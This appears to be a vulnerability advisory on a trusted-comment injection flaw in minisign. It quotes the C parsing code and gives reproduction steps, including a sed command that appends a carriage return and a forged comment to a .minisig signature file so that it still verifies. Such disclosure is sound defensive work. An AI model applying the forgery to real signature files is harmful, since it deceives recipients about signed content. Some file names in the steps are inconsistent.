Trusted comment injection (minisign)
A vulnerability in minisign allows attackers to modify a signature in a way that could deceive users about the content of a trusted comment.
Impact
A minisign signature file can be modified in a way that it still verifies, but the trusted comment appears to be extended, when displayed through most text viewing programs, though not minisign itself.
Details
To parse and load a minisign signature file (.minisig), minisign implements a function sig_load. It fgets the trusted comment and calls a function trim with the contents of the line.
if (fgets(trusted_comment, (int) trusted_comment_maxlen, fp) == NULL) {
exit_msg("Trusted comment not present");
}
if (strncmp(trusted_comment, TRUSTED_COMMENT_PREFIX, (sizeof TRUSTED_COMMENT_PREFIX) - 1U) !=
0) {
exit_msg(
"Trusted signature comment should start with "
"\"" TRUSTED_COMMENT_PREFIX "\"");
}
memmove(trusted_comment,
trusted_comment + sizeof TRUSTED_COMMENT_PREFIX - 1U,
strlen(trusted_comment + sizeof TRUSTED_COMMENT_PREFIX - 1U) + 1U);
if (trim(trusted_comment) == 0) {
exit_msg("Trusted comment too long");
}
fgets is
Reading stops after an EOF or a newline. If a newline is read, As such, it skips over ‘\r’ characters. trim replaces all occurrences of ‘\n’ and ‘\r’ characters with null bytes. Therefore, ‘\r’ characters can occur in the middle of the trusted comment.
int
trim(char *str)
{
size_t i = strlen(str);
int t = 0;
while (i-- > (size_t) 0U) {
if (str[i] == '\n') {
str[i] = 0;
t = 1;
} else if (str[i] == '\r') {
str[i] = 0;
}
}
return t;
}
The premature null byte termination later leads to only the part before the (first) ‘\r’ being hashed and contributing to the signed content during verification.
trusted_comment_len = strlen(trusted_comment);
sig_and_trusted_comment = xmalloc((sizeof sig_struct->sig) + trusted_comment_len);
memcpy(sig_and_trusted_comment, sig_struct->sig, sizeof sig_struct->sig);
memcpy(sig_and_trusted_comment + sizeof sig_struct->sig, trusted_comment, trusted_comment_len);
Therefore, an attacker can extend a .minisig file with a ‘\r’ character followed by any text, as long as it doesn’t contain a null byte
Scenario
Alice wants to send Bob a message. Over a trusted channel, she obtained and verified Bob’s public key. Mallory is an able to intercept and manipulate communications between Alice and Bob. Mallory’s goal is to manipulate the trusted comment of the signature that Alice sings her trusted message to Bob with.
Detailed steps to reproduce
Alice creates a keypair.
minisign -G -W -p pubkey.txt -s seckey.txt <<<'[email protected]'
Alice securely transmit pubkey.txt to Bob.
Alice writes a message an signs it adding a trusted comment.
echo "Hello World" > msg.txt
minisign -S -s seckey.txt -m msg.txt -t "My trusted comment"
Alice sends the message over an insecure channel with Bob. Mallory manipulates the signature file.
cat msg.txt.minisig | sed 's/My trusted comment/My trusted comment\rtrusted comment: Another comment (that is longer)/' > msg.txt.minisig
Bob verifies and views the signature
$ minisign -V -p pubkey1.txt -m msg1.txt -x msg2.txt.minisig
Signature and comment signature verified
Trusted comment: My trusted comment
$ cat msg.txt.minisig
untrusted comment: signature from minisign secret key
RUSxMpCG+YFr0SRuYCpobKKB63izdUb7DqzC6TnSZOeun/nnaW+1dGTMFTbK7BxAy9NrSkUJ1/gRWovtqyE+nK1VJG5PgjE3BgU=
trusted comment: Another comment (that is longer)
h5+qWjFYrr4OawWiTyj/3g2LMcNmGsIpyzSe8SNFvzd0VhPiKQCvNzAyaBr9jO+QM87y5nAAZsK0k5dQ3YwuCA==
He might only look at the output of cat vs the output of minisign.